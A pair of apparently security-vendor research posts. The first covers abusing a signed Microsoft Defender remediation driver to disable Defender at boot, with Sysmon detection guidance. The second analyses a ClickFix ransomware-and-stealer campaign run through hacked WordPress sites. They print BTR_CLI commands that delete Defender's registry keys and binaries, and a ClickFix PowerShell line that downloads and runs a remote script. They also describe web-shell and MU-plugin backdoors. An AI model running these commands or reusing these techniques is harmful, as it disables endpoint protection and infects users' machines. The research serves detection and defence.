Figure 16: The “Golden Window” - Filesystem Ready & Security Stack Dormant.
Figure 16: The “Golden Window” – Filesystem Ready & Security Stack Dormant.

The Operational Constraint: Why Start=0 is Impossible

The operational premise of BTR.sys suggests a capability to execute during the earliest stages of the operating system boot process. However, empirical testing confirms a hard architectural constraint: BTR.sys cannot function as a SERVICE_BOOT_START (Start=0) driver.

While standard EDR kernel minifilters utilize Start=0 to register callbacks immediately upon kernel initialization, BTR.sys was designed by Microsoft to perform file I/O operations (reading the ADS configuration and creating logs) directly within its DriverEntry routine. During Phase 0 of the boot process, the Windows Object Manager has not yet established the SystemRoot symbolic link (used by BTR.sys), and the storage stack is not fully initialized. Consequently, forcing BTR.sys to Start=0 results in immediate failure.

Therefore, the driver must be configured as SERVICE_SYSTEM_START (Start=1). To maximize its offensive utility, it is assigned to the “Boot Bus Extender” load order group. This configuration places it at one of the earliest practical execution slots available in Phase 1, immediately following the initialization of the filesystem (Ntfs.sys) and the transition from the OS Loader to the Kernel I/O Manager. Notably, this configuration mirrors the exact mechanism MpEngine.dll employs to stage the driver during a legitimate Windows Defender remediation event.

Load Order Analysis & Service Group Priority

The Windows Kernel enforces a strict temporal hierarchy by scanning the ServiceGroupOrder registry key in two distinct passes. First, the OS Loader loads all Start=0 (Boot) drivers during Phase 0. Once Phase 0 concludes, the Kernel I/O Manager scans the list again to load Start=1 (System) drivers during Phase 1. It is within this specific phase that the “Boot Bus Extender” group provides a strategic advantage. While Start=0 security filters (e.g., WdFilter) are already active, BTR.sys executes at the very beginning of Phase 1, effectively preempting other critical security drivers (e.g., UCPDWdNisDrv) that reside in lower-priority groups like “FSFilter Activity Monitor” (see the default Windows 11 25H2 ServiceGroupOrder):

System Reserved
EMS
WdfLoadGroup
Boot Bus Extender             <-- BTR.sys executes here (Start=1)
... (23 Groups) ...
FSFilter Replication
FSFilter Anti-Virus           <-- WdFilter (the Group is lower, but Start=0)
FSFilter Undelete
FSFilter Activity Monitor     <-- UCPD.sys (Start=1)
... (24 Groups) ...
NDIS                          <-- Network Drivers
... (14 Groups) ...

This architectural positioning creates a “Golden Window” – a specific timeframe where the filesystem is writable, but high-level security services and user-mode protection agents have not yet started.

Boot Logging Verification (Procmon Analysis)

Boot-time logging via Process Monitor provided definitive proof of this execution timeline. The events captured during a reboot cycle on a fully updated Windows 11 25H2 environment revealed the following sequence. Note that while Procmon’s boot logging may introduce slight latency, the relative order of execution is architecturally deterministic and remains consistent.

Figure 17: Procmon - boot-time logging.
Figure 17: Procmon – boot-time logging.

Phase 0: Kernel Initialization (Start=0 Boot)
The kernel initializes the filesystem and early-launch security drivers.

  • 2:45:28.3130411 AM – WdBoot.sys (Defender ELAM Boot Driver) loads.
  • 2:45:28.3130685 AM – WdFilter.sys (Defender Minifilter) loads.
  • 2:45:28.3130700 AM – Ntfs.sys (Filesystem) loads.
    • Observation: Security filters are active, but operating in a limited standalone capacity without real-time user-mode intelligence.

Phase 1: The “Golden Window” (Start=1 System)
The kernel transitions to System Start. BTR.sys (renamed mlrmqchs.sys for testing) executes immediately due to its “Boot Bus Extender” group.

  • 2:45:28.6353170 AM – mlrmqchs.sys(BTR Driver) loads.
    • Action: The driver executes its payload (file/registry modification) here.
  • 2:45:28.6915450 AM – UCPD.sys (User Choice Protection Driver) loads.
    • Result: The BTR driver preempts UCPD, allowing modification of protected user choice registry keys before the protection driver is loaded.

Phase 2: User Mode Initialization (Start=2 Automatic / Start=3 Manual)
The Service Control Manager (SCM) begins starting services. This occurs significantly later.

  • 2:46:02.7308562 AM – MpDefenderCoreService.exe loads.
  • 2:46:02.9603201 AM – MsMpEng.exe (Defender Service) loads.
    • Result: The primary AV service starts roughly 34 seconds after the BTR driver has finished its work.
  • 2:49:23.4912735 AM – WdNisDrv.sys (Network Inspection Driver) loads.
    • Result: The network inspection driver, triggered on-demand by the platform, loads nearly 4 minutes later.

EDR/AV Bypass Capabilities

By exploiting this load order gap, BTR.sys functions as a potent neutralizer for security solutions, including Microsoft Defender and potentially third-party EDRs.

  • Filesystem Neutralization: Although WdFilter is already loaded, the absence of the user-mode service (MsMpEng.exe) renders it susceptible to “legal” operations performed by a signed Microsoft kernel driver. Tests confirmed the successful deletion of example protected binaries such as WdFilter.sysMsMpEng.exe and WdNisDrv.sys during boot. Since the MsMpEng.exe service binary is removed significantly before the Service Control Manager even attempts to launch it, the security solution fails to start entirely, preventing self-healing, cloud reporting, etc.
Figure 18: EDR/AV Bypass - Filesystem Neutralization.
Figure 18: EDR/AV Bypass – Filesystem Neutralization.
  • Registry Tamper Protection Bypass: Tamper Protection is primarily enforced against user-mode processes. BTR.sys, operating in kernel mode, successfully deleted critical Service Registry keys (e.g., HKLM\SYSTEM\CurrentControlSet\Services\WdFilter) during runtime. This “blinds” the OS, preventing the WdFilter.sys driver from loading on the subsequent reboot.
Figure 19: EDR/AV Bypass - Registry Tamper Protection Bypass.
Figure 19: EDR/AV Bypass – Registry Tamper Protection Bypass.
  • ELAM Irrelevance: While Early Launch Anti-Malware (WdBoot.sys) protects the initial boot chain, its role is limited to evaluating boot-start drivers during early initialization. BTR.sys executes in this post-ELAM environment (Start=1), meaning it is not evaluated by ELAM-related boot-driver checks. Furthermore, even if this architectural gap did not exist, BTR.sys carries a valid Microsoft signature, meaning it would normally pass signature enforcement, though this does not guarantee permanent trust or classification as “Known Good” in all contexts.

Conclusion: The BTR.sys driver, when manually staged to execute at the next boot, effectively bypasses the active protection stack by operating in the interval where the kernel is active but the security suite’s intelligence is dormant. Furthermore, tests demonstrated a successful Tamper Protection bypass at runtime.

Demo PoC: BTR_CLI – WIN 11 25H2 – KILL CHAIN

The following demonstration video presents a complete “Kill Chain” scenario on a fully updated Windows 11 25H2 machine with all security features enabled. The Proof-of-Concept utilizes BTR_CLI (BTR.sys) to systematically dismantle the Windows Defender security stack from Ring 0, rendering the system defenseless against a known malicious sample.

The demonstration follows these specific stages:

  1. Baseline & Tamper Protection Verification:
    We attempt to extract a well-known driver universally classified as malicious (mimidrv.sys – part of the Mimikatz post-exploitation tool) and modify Defender registry keys using standard Administrator privileges. Both actions are immediately blocked by Windows Defender and Tamper Protection.
  2. Phase 1: Runtime Tamper Protection Bypass:
    Using the trigger now mode, we instruct the BTR.sys driver to delete the Service Registry keys for the Defender Kernel Filter and the Antimalware Service. Since the operation originates from a signed Microsoft kernel driver, Tamper Protection is successfully bypassed.
BTR_CLI.exe -chain -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" -trigger now
  1. Phase 2: Boot-Time Neutralization (“Golden Window”):
    Using the trigger boot mode, we schedule the physical deletion of the Defender binaries (WdFilter.sys and MsMpEng.exe). These operations execute during the “Golden Window” (Phase 1), after the filesystem is writable but before the Defender user-mode service can start or lock the files.
BTR_CLI.exe -chain -item "1|C:\Windows\System32\drivers\wd\WdFilter.sys" -item "1|C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" -trigger boot
  1. Result & Arbitrary Write:
    After a system reboot, we verify that the critical Defender binaries have been permanently deleted. The malicious mimidrv.sys is then extracted without detection. Finally, we demonstrate an arbitrary write primitive by moving the malicious driver into the protected System32\drivers directory using the BTR.sys driver.
BTR_CLI.exe -a 3 -s "C:\Users\admin\Desktop\mimidrv\mimidrv.sys" -d "C:\Windows\System32\drivers\mimidrv.sys"
Figure 20: BTR_CLI PoC → Demo Video → WIN 11 25H2 – KILL CHAIN.

Detection & Mitigation

Detection Opportunities

Because BTR.sys is a legitimate Microsoft-signed component, signature-based blocking is ineffective. Furthermore, a well-crafted weaponization tool (like BTR_CLI) intentionally mimics the operational footprint of the legitimate Windows Defender remediation process.

Based on telemetry analysis using Sysmon (System Monitor), robust detection must rely on behavioral contextAlternate Data Stream (ADS) monitoringand kernel-execution attribution.

  1. Alternate Data Stream (ADS) Anomalies (Sysmon Event ID 15 – High Fidelity)
    The most distinct operational characteristic of BTR.sys is its reliance on Alternate Data Streams for configuration. Sysmon telemetry (Event ID 15) captures this behavior with high fidelity.
    • Configuration Write (Universal): Both legitimate usage and abuse involve creating an ADS named :changelist on the driver file. Sysmon captures the encrypted RC4 payload directly in the Contents field.
    • Feedback Write (Differentiator):
      • Abuse (BTR_CLI): The tool directs the driver to write the feedback report into a secondary ADS on the driver itself (e.g., Random.sys:Random.dat).
      • Legitimate (MpEngine.dll): The engine directs the driver to write the feedback report to a standalone file, typically in a protected path like C:\ProgramData\Microsoft\Windows Defender\Scans\RebootActions\.
    • Detection Logic: Alert on FileCreateStreamHash (Event ID 15) where TargetFilename ends in .sys:changelist. Secondarily, alert on .dat streams created on .sys files (specific to current PoC tool).
Figure 21: Sysmon ID 15 capturing the “BTR_CLI” writing the encrypted configuration to the “:changelist” ADS.
  1. Kernel-Mode Execution Context (Sysmon Event ID 23)
    When BTR.sys executes actions, for example, file deletion (Action 1), the operation occurs in Ring 0.
    • Sysmon logs the File Delete (Event ID 23), but the Image performing the deletion is recorded as System (PID 4), not the user-mode tool that triggered it.
    • Detection Logic: Correlate System (PID 4) deleting arbitrary files (especially security binaries) immediately following a DriverLoad (Event ID 6) of a binary matching the BTR.sys hash.
Figure 22: Sysmon ID 23 capturing the “System” deleting “example.txt” immediately following a DriverLoad.
  1. Driver Deployment & Lineage (Sysmon Event ID 6)
    The origin of the driver load is a critical metric.
    • Legitimate Usage: BTR.sys is dropped and registered by legitimate Windows Defender processes (e.g., MsMpEng.exe).
    • Abuse Indicator: Alert on DriverLoad (Event ID 6) where the Signature is Microsoft Windows and the Hashes match known BTR.sys versions, but the ParentImage or Image responsible for dropping the file is outside the Defender ecosystem (e.g., cmd.exepowershell.exe, or unknown binaries).
  2. Stealth Registry Staging (Sysmon Event ID 12, 13 vs. Event ID 7045)
    There is a subtle operational difference between how Defender and the current PoC load the driver.
    • Legitimate (MpEngine.dll): Uses the Service Control Manager (SCM) via CreateServiceW. This generates standard Windows Event Logs (e.g., System Event ID 7045 – A service was installed).
    • Abuse (BTR_CLI): Directly interacts with the Registry to create the service keys (HKLM\SYSTEM\CurrentControlSet\Services\{Random}) and calls the undocumented NtLoadDriver syscall. This bypasses SCM, meaning Event ID 7045 will not trigger.
    • Detection Logic: Alert on RegistryEvent (Event ID 12/13) creating a service key where the Args value contains :changelist and Group is set to Boot Bus Extender, especially if unaccompanied by a standard Service Installation event.
  3. Anti-Forensics Telemetry (Sysmon Event ID 11 & 23)
    • Monitor for the rapid creation (Event 11) and subsequent deletion (Event 23) of \SystemRoot\Temp\BootClean.log by the System (PID 4) process. This log creation is hardcoded in the driver and occurs regardless of the caller.
Figure 23: Sysmon ID 11 capturing the “System” creation and subsequent deletion (ID 23) of “BootClean.log”.

Mitigation Recommendations

  • Restrict Privileges: The abuse of BTR.sys fundamentally relies on the attacker possessing SeLoadDriverPrivilege. Enforcing the principle of least privilege and strictly monitoring the assignment and usage of this right is the primary defense.
  • Behavioral EDR Rules: Configure EDR solutions to alert on security-tool drivers executed outside their expected process lineage, regardless of their digital signature.
  • Holistic LOLDriver Defense: Recognize that the Microsoft Vulnerable Driver Blocklist (WDAC) does not protect against the abuse of functionally intended drivers like BTR.sys. Defense-in-depth must include monitoring the context of driver loads and ADS creation, not just driver hashes.

In-The-Wild Status

During our analysis across all collected samples and telemetry sources, we did not observe evidence of real-world abuse of BTR.sys in the manner demonstrated in this research. This suggests the technique is currently unknown or unused by threat actors, making proactive detection engineering feasible before weaponization appears in the wild.

Conclusion

This research shows that the BTR.sys driver, originally designed as a defensive remediation component, exposes a powerful and fully functional kernel-mode execution primitive when its internal protocol is understood. By reversing its encrypted transaction format, integrity validation scheme, and execution logic, we demonstrated that a trusted, signed Microsoft driver can be instructed to perform arbitrary file and registry operations from Ring 0 without exploiting any vulnerability.

The creation of the BTR_CLI tool was a key milestone in validating our findings. The tool automates payload construction, encryption, integrity calculation, driver extraction, execution, and cleanup. This allowed us to reliably reproduce kernel-level operations across all tested Windows 7-11 versions and across every analyzed BTR.sys build. Its successful operation confirmed that:

  • The configuration protocol remains stable across versions.
  • The RC4 key is universally reused.
  • The transaction structure is backward compatible.
  • The primitive is deterministic and reliable.

This effectively repurposes a specialized defensive component into a versatile, signed kernel-mode primitive capable of arbitrary file and registry manipulation.

More broadly, this work highlights an important defensive lesson: trusted security infrastructure can unintentionally expose attacker-usable primitives when its internal mechanisms are undocumented but reachable. The issue is not a vulnerability in the traditional sense, but rather an architectural trust boundary that can be crossed if an attacker already has administrative privileges.

Following responsible disclosure, MSRC confirmed that these findings do not meet the criteria for immediate servicing, as the technique relies on pre-existing administrative privileges (SeLoadDriverPrivilege). This classification establishes BTR.sys as a potent “Living-off-the-Land” driver (LOLDriver). Crucially, unlike third-party drivers often neutralized by the Microsoft Vulnerable Driver Blocklist or tracked by the LOLDrivers projectBTR.sys is an essential, built-in Windows component. It remains fully allowed and operational, enabling advanced evasion without the risks or constraints associated with traditional BYOVD techniques.

As defenders increasingly rely on signed binaries as indicators of trust, research like this demonstrates why behavioral context, execution lineage, and intent analysis must complement signature-based trust models.

The post BTR Reforged: Weaponizing Defender’s Remediation Driver as a Kernel Operation Primitive appeared first on Check Point Research.

Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect

Research by: Jaromír Hořejší (@JaromirHorejsi)

Key points

  • StopAndProtect is a newly identified operation that combines file encryption with data theft. The criminals abuse thousands of hacked WordPress websites as their infrastructure – using them to spread the malware, control infected machines, and store stolen documents, screenshots, and activity logs (records created by malware to track its actions, progress, or status during execution).
  • Operational security (OPSEC) failures by the developer exposed lots of files, including detailed infection logs from victims’ machines, screenshots from infected computers, and source code of tools the criminals use to mass-manage compromised websites.
  • Internal logs reveal thousands of IP addresses affected by this operation, underscoring that this is not a small, isolated incident but a large-scale campaign that targets victims across many regions and networks, where most IPs belong to the US, Russia, and India.
  • The operation doesn’t rely on a single piece of malware, but on a whole toolkit of criminal software working together – some components encrypt files, others silently steal documents or lock the screen, and another acts as a live chat between the attackers and their victims.

Introduction

We first noticed a ransomware family called StopAndProtect in the middle of May 2026. Further analysis of the infrastructure reveals that the infection chain starts with a ClickFix social-engineering technique, which prompts victims to execute a PowerShell command. This leads to two stages of additional downloaders and loaders written in .NET, followed by several main functional components, such as ransomware, SMB/USB worm, LockScreen, VBS spreader, chat utility and credential stealer.

Although the name StopAndProtect was originally given to the ransomware component, we decided to call the whole operation StopAndProtect, as it does not deploy ransomware on all its victims. In many cases, the attackers silently exfiltrate lists of files and later specific files from the infected machines.

All these stages collect telemetry and generate and upload logs, giving malware operators a detailed view of the progress of the infection on the affected machines.

Malware operators use hacked WordPress sites as infrastructure to host malware stages, as C&C servers to pass commands, as well as the storage of logs exfiltrated from victims. Due to their carelessness and not following proper operational security measures, we discovered a PHP script exposing a directory listing, which led to the discovery of even more log files and open directories. Parsing those logs can provide us with an overview of the size and magnitude of the overall operation.

In one scenario, we suspect that the malware operator infected themselves and accidentally uploaded some of their desktop files to the collection server. This archive contains the source code of an automation tool for managing injected payloads at scale on compromised WordPress sites. It also contains a few text files listing close to 2,000 compromised WordPress domains, giving us a hint about the size of the operation.

There are many vulnerable WordPress websites simply because their owners do not keep them updated. This is true not only for WordPress itself but also for installed plugins.

Out of curiosity, we scanned one compromised WordPress website and found that it was running a WordPress version from 2021—almost five years old. The scan identified nearly 40 different vulnerabilities, including expired certificates, SQL injection flaws, open redirects, authentication bypasses, authenticated arbitrary file uploads, and more.

Infection chain

When visiting a compromised website, an unsuspecting victim sees a fake CAPTCHA ClickFix prompt. If the victim falls for the ClickFix prompt and infects themselves, there are multiple stages of infection, all using compromised WordPress sites to download additional stages, upload logs, or download instructions on which machines to encrypt and which files to steal.

Figure 1 – ClickFix, step 1
Figure 2 – ClickFix, step 2

The infection chain follows the sequence and schematics shown below:

ClickFix → PowerShell script 1 → PowerShell script 2 → stage 1 (loader) → stage 2 (downloader & loader) → stage 3 ( components: encryptor, SMB/USB worm, lockscreen, credential stealer, VBS spreader, chat utility )

The first stage of the PowerShell script submits an execution log to the base C&C server and downloads and executes the second stage of PowerShell. The second PowerShell stage downloads the base64-encoded .NET stage 1. It decodes it and loads it into memory. It then enumerates types from the .NET assembly. For each type, it lists all of its methods, and if a method name is Execute and it is static and has no parameters, it then creates a new instance of that type and invokes the found method.

  • .NET stage 1 is a simple downloader, which reports more statistics to base C&C servers and decodes and loads the stage 2.
  • .NET stage 2 is a persistent downloader and loader that contains sandbox checks and even more logging.
  • .NET stage 3 includes several components. Their analysis will be discussed in the Malicious payload sections.
Figure 3 – Infection Chain

PHP scripts with file listings

While analyzing files belonging to stages 1, 2 and 3, we extracted compromised WordPress websites acting as base C&C servers. One of these stages downloaded the next component from a dwnen.php endpoint. When we queried the endpoint without any parameter, we were presented with the following file listing. We could download all files except for .php files, and we could even list some of the folders as they allowed directory listings. This helped us a lot with collecting interesting files and samples, because without file listings we would not know which files had been hosted on the exposed server.

Figure 4 – PHP script revealing directory listing

PHP files used for file management

While listing files on known compromised websites, we noticed a few custom PHP scripts uploaded by the attackers. Some of these PHP files displayed password-protected forms for the custom file management utilities. These utilities are general file explorers, secure uploaders and secure downloaders.

Figure 5 – Password-protected file manager

The screenshot from the utility below shows a script for secure file upload. The operator needs to know a password to upload a new file into the compromised website.

Figure 6 – Password-protected file uploader

The screenshot from the utility below shows a script for secure file deletion.

Figure 7 – Password-protected script for file deletion

Open directories

Some directories contained lots of logs, usually one log file per infected machine.

Figure 8 – Open directory with logs

One open directory even contained victims’ startup, activity, lock screen and final screenshots. Some of these screenshots show victims’ desktops, displayed ransom messages, visited websites, watched YouTube videos, browsers opened to antivirus companies’ websites, opened antivirus programs’ windows, listings of encrypted files, opened office documents, etc. During our monitoring period, from mid-May to the end of July 2026, we collected approximately 31,000 screenshots.

Figure 9 – Open directory with uploaded victims’ screenshots

Backdoor installer

On one of the hacked servers, we retrieved a ZIP archive, which helped us understand how the actor operates. It contained mu-uploader-installer.php which is an installer for a custom WordPress plugin. After successful installation, it behaves like a hidden file uploader.

  • On activation, it creates a must-use (MU) plugin file in wp-content/mu-plugins/wp-sec.php.
  • That must-use (MU) plugin
    • adds a hidden REST API endpoint: wp-sec/v1/upload.
    • It authenticates with hardcoded credentials.
    • It lets anyone who knows valid credentials upload files to almost any path under the WordPress root.
    • It explicitly allows uploading .php files, enabling remote code execution if used maliciously.
  • Then it deactivates itself and self-deletes, making it harder to notice.

In WordPress context, “MU” means must-use plugin:

  • Files in wp-content/mu-plugins load automatically on every request.
  • They do not appear/manage like normal plugins in the standard Plugins UI.
  • Attackers often use MU plugins for persistence.
Figure 10 – Open directory containing installed malicious must-use plugin

Knowing the username and password, the threat actor can then upload files to the infected website by POSTing to the {BASE_URL}/wp-json/wp-sec/v1/upload endpoint.

Uploaded files from victim’s machines

Some of the hacked WordPress servers contain directories with data stolen from victims. The data is sometimes in ZIP archives, sometimes these ZIP archives are AES-CBC encrypted with the same key, which we could extract from Stage 3 components. From mid-May to the end of July 2026, we collected more than 700 archives.

The uploaded archives contain the following naming conventions:

file naming conventioncontent of the archive
<computer name>documents<number>_<number>.zipstolen files from Desktop, etc.
<computer name>documents<number>.zipstolen files from Desktop, etc.
<computer name>desktop_files<yyyymmdd>_<hhmmss>.zip.encryptedstolen files from Desktop
<computer name>pass_V<version><yyyymmdd>_<hhmmss>.zip.encryptedstolen password files
<computer name>wallet_V<version><yyyymmdd>_<hhmmss>.zip.encryptedstolen wallet files
<computer name>_filelist.zip.encryptedlist of files on machine
<computer name>encrypted_files_V<version><yyyymmdd>_<hhmmss>.txt.encryptedlist of encrypted files
<computer name>encryption_log_V<version><yyyymmdd>_<hhmmss>.zip.encryptedencryption log
<computer name>screenshot_V<version><yyyymmdd>_<hhmmss>.zip.encryptedscreenshot
<computer name>final_screenshot_V<version><yyyymmdd>_<hhmmss>.zip.encryptedfinal screenshot
<computer name>lockscreen_V<version><yyyymmdd>_<hhmmss>.zip.encryptedlockscreen screenshot
<computer name>_progress_log_completed.zip.encryptedprogress log
<computer name>_progress_log_exceeded.zip.encryptedprogress log

Threat actor’s self-infection

We collected a few hundred files exfiltrated from victims’ machines, and we believe that in one instance the threat actor infected themselves, as one archive contained several unusual files with suspicious content. Later in this section, we explain what each of these files contains. This also helps us better understand how the actor operates and how many compromised domains they likely control.

a-MASTER-CAPCHA-EXISTS-QUICK.txt
a-MASTER-CAPCHA-EXISTS.txt
a-MASTER-CAPCHA-NOT-EXISTS-QUICK.txt
a-MASTER-CAPCHA-NOT-EXISTS.txt
a-wp-cssv-failed-uploaded.txt
a-wp-cssv-uploaded.txt
activator.txt
de-activator.txt
fMain.frm
fMain.frx
fMain.log
possible.txt
proxy.php
RegisterRC6inPlace.vbs
store.txt
stored_url.txt
urlsimport.txt
wp-cssv.php
wp-verifyup.php

All files in the given archive had the following prefix, G-a_new_hack-0a_botnet-fake-capcha-a-master-4-a-updater-plugin-send-new-plugin, suggesting that it is a sanitized version of G:\a_new_hack\0a_botnet\fake-capcha\a-master\4-a-updater-plugin-send-new-plugin\. The internal project names are 0a_botnet and fake-captcha. The following list of interesting files was extracted from the particular archive and analyzed.

a-MASTER-CAPCHA-EXISTS-QUICK.txt contains ~1400 domains, some of them still displayed fake captcha ClickFix.

a-MASTER-CAPCHA-EXISTS.txt contains ~300 domains

a-MASTER-CAPCHA-NOT-EXISTS-QUICK.txt contains ~400 domains

a-MASTER-CAPCHA-NOT-EXISTS.txt contains ~200 domains

a-wp-cssv-uploaded.txt contains ~300 domains, based on name likely a log of a successful upload of WordPress plugin

de-activator.txt is a php source code with de-activator of litespeed-cache WordPress plugin

fMain.frm is a custom automation tool for mass-managing compromised WordPress sites. After installing a Visual Basic 6 editor, the following GUI window appears in the form editor. It is quite surprising to see someone still using Visual Basic 6, which is an old-school tool, released almost 30 years ago, whose support ended almost 20 years ago. This automation tool allows the botnet operator to mass-manage compromised WordPress pages. It uses secure upload and delete PHP scripts on compromised websites to upload or delete additional files, activate or deactivate fake-captcha ClickFix, activate or deactivate caching, etc.

Figure 11 – Custom automation tool for mass-managing compromised WordPress sites

possible.txt contains output of a scanner with potentially vulnerable/compromised WordPress sites.

..
[2026-02-26 10:46:05] IP:<redacted>| Status: success | URL: https://<redacted>/wp-admin/
[2026-02-26 10:52:08] IP:<redacted>| Status: success | URL: https://<redacted>/wp-admin/
..

store.txt is a PHP file used by the operator to set/update where payload traffic or redirects should point, without re-uploading code. It updates the value of the text file

wp-cssv.php is a Secure File Manager, which is a single-file web shell with upload and delete capability.

wp-verifyup.php is a File Explorer with Remote Fetch & Multi-Server Fallback.

File structure of compromised WordPress websites

The compromised websites contain a malicious verify plugin, which overlays the original content with a fake captcha for Windows visitors. The verify plugin consists of three PHP scripts and one txt file with the base URL or keyword off in case the fake captcha is disabled. The store.php script is used to modify the content of the stored_url.txt file. Proxy.php fetches a remote log file. Verify.php registers the wp and init action hooks, and drops the previously mentioned store.php, proxy.php and stored_url.txt files. It also sends statistics to the base URL.

Timeline of infection observed on one of the compromised WordPress websites. The threat actor installed the following files at the given times:

file/folder namelast modification timedescription
wp-uploading.php04/24/2026 9:55 PMSecure Upload – Overwrite & Auto-Create Folder
wp-delete.php04/24/2026 9:55 PMSecure File Deletion
wp-config.php05/02/2026 8:27 PMdisabled cache plugin by
removing:define( 'WP_CACHE', true );
wp-content/plugins/verify folder05/06/2026 11:53 AM
wp-content/mu-plugins folder05/17/2026 8:42 PM
store.php05/19/2026 5:13 PMedits value of stored_url.txt
stored_url.txt05/21/2026 9:04 PMcontains fake captcha base URL; or off when disabled
proxy.php05/21/2026 9:08 PMreads log file from base URL
verify.php05/22/2026 7:12 AMPHP plugin; creates proxy.php, store.php on first run; sends stats report to <base URL>/wreport.php; fake captcha code itself

To activate the verify.php plugin, the actor also uploads an activator.php script, which will perform the plugin activation and later deletes itself, thus this file is not shown in the listing above.

Technical Analysis

ClickFix

The initial fake-captcha ClickFix page displays a human verification prompt and logs visitors’ IP addresses, then copies the command into the clipboard. In the figure below, you can see the value of the command variable with the PowerShell script that the victim executes.

const userIp = "XX.YY.ZZ.WW";
const logUrl = "https://<C&C>/wp-content/plugins/verify/proxy.php";
const psUrl = "https://<C&C>/vcapcha.ps1";
...
const command = `powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('${psUrl}'))"`;
...
navigator.clipboard.writeText(command)
...

Malicious payloads

  • SilentEncryptor is the ransomware component. It downloads a file from the base C&C, which contains a ransomware command. This file gives instruction on whether the ransomware should encrypt all currently infected computers or only computers with given host names, and it also contains the ransomware message displayed to the victim. The key derivation function uses the per-file password and machine name to generate a 32-byte key. Both per-file password and machine name are present in the name of the encrypted and renamed file, making decryption of files possible.
Figure 12 – Lock screen displayed to victims after their files have been encrypted
  • NetworkShareScanner behaves as an SMB/USB worm, enumerating network shares and plugged-in USB devices to spread beyond the initial infected machine.
  • VBS spreader propagates to hard disks and removable media, scans the network, and laterally moves using remote process creation via WMI.
  • LockScreen component blocks user input and displays ransom message with payment QR code.
Figure 13 – Payment details displayed to victims after their files have been encrypted
  • SimpleChatProxy is a custom chat application for communicating between victim and operator (master). The victim’s input is blocked, and the master’s window contains a button for sending an image to a client. SilentEncryptor or SilentDataCollector may download and execute the custom chat.
Figure 14 – Custom chat application as seen from victim’s machine
Figure 15 – Custom chat application as seen from malware operator’s machine
  • SilentDataCollector is a stealer, which generates a list of all files on all drives (fixed, removable, network drives), encrypts and exfiltrates this list to the base C&C. The operator can direct file collection by uploading a command file to the base C&C server. The stealer then reads this command file and compresses, encrypts, and exfiltrates desired files to the base C&C server. Newer versions also implement additional features, such as a keylogger with valid email address detection, contact exfiltration from WhatsApp, mapping and unmapping network shares, and capturing screenshots of user activity at 30-second intervals while the victim is active. An operator may issue a WhatsApp search keyword; both the web and desktop versions are supported. The stealer waits until the victim becomes inactive and then uses WhatsApp automation to focus the search box, enter the specified keyword (contact name), open the contact information, and capture a screenshot.

Among the exfiltrated files, we discovered the following screenshot. The actor searched for the first name of a contact of interest (entered into the WhatsApp search box via automation). The contact information displayed also reveals the associated phone number.

Figure 16 – Screenshot of WhatsApp contact details exfiltrated by the stealer

This is very likely a hands-on-keyboard operation. We have also seen components combining more than one of the previous features, such as ransomware and file collection combined into a single file.

Logs processing and statistics

Having lots of logs gives us a rare opportunity to have better visibility into the overall campaign size. Although some of the logs belong to various sandboxes and researchers’ machines, the majority still appear to be real victim machines. This still gives us valuable insight into the overall campaign size.

Statistics as of 24/07/2026 – more than 6000 unique IP addresses.

Figure 17 – Overall victim distribution
countryunique IPs
US1852
RU630
IN630

We got access to one of the base URL servers, which contained logs of fake captcha hits. Similar to the map above, we collected all unique IPs and drew one more distribution map. Compared to the previous statistics from the logs, this section contains counterintuitively fewer IPs and a lower number of hits, which in a real scenario has to be exactly the opposite, as not every ClickFix hit leads to infection. We have to note that these statistics are limited, as they contain logs only from one particular server, from which we collected logs. We also suspect that the ClickFix log file was reset a few times, so after each reset the older statistics were lost. The graph below shows close to 600 unique IPs related to ClickFix statistics.

Statistics of fake captcha hits as of 24/07/2026 – close to 600 unique IP addresses, limited to one base C&C server.

Figure 18 – Victims from specific server
countryunique IPs
US111
IN110
UA29

Victims’ screenshots statistics

There was an open directory with victims’ screenshots. Until the server was cleaned by the administrator, we managed to collect about 400 unique screenshot files, belonging to close to 200 unique infected machines. An open directory containing activity screenshots from victims contains more than 20,000 individual files.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

compromised websitesmaximumrock[.]ro
platinumcar[.]ca
norakremer.co[.]uk
pharmart[.]ae
ksr-racingparts[.]com
compromised base C&C websitesv-k.com[.]ua
www.lapellelaser[.]pl
www.parsrulman[.]com
mectcalcutta[.]com
discherniation[.]com
PowerShell script stage 1cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0
PowerShell script stage 2cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9
stage 1 – downloader99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b
8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5
4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504
stage 2 – downloader & loader9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527
7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c
976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153
stage 3 – encryptorb79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489
65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143
0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40
stage 3 – SMB/USB worm8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4
10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0
f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41
stage 3 – lockscreen11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e
2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c
38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9
stage 3 – credential stealer23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70
stage 3 – VBS spreaderb3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad
stage 3 – chat utility3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9
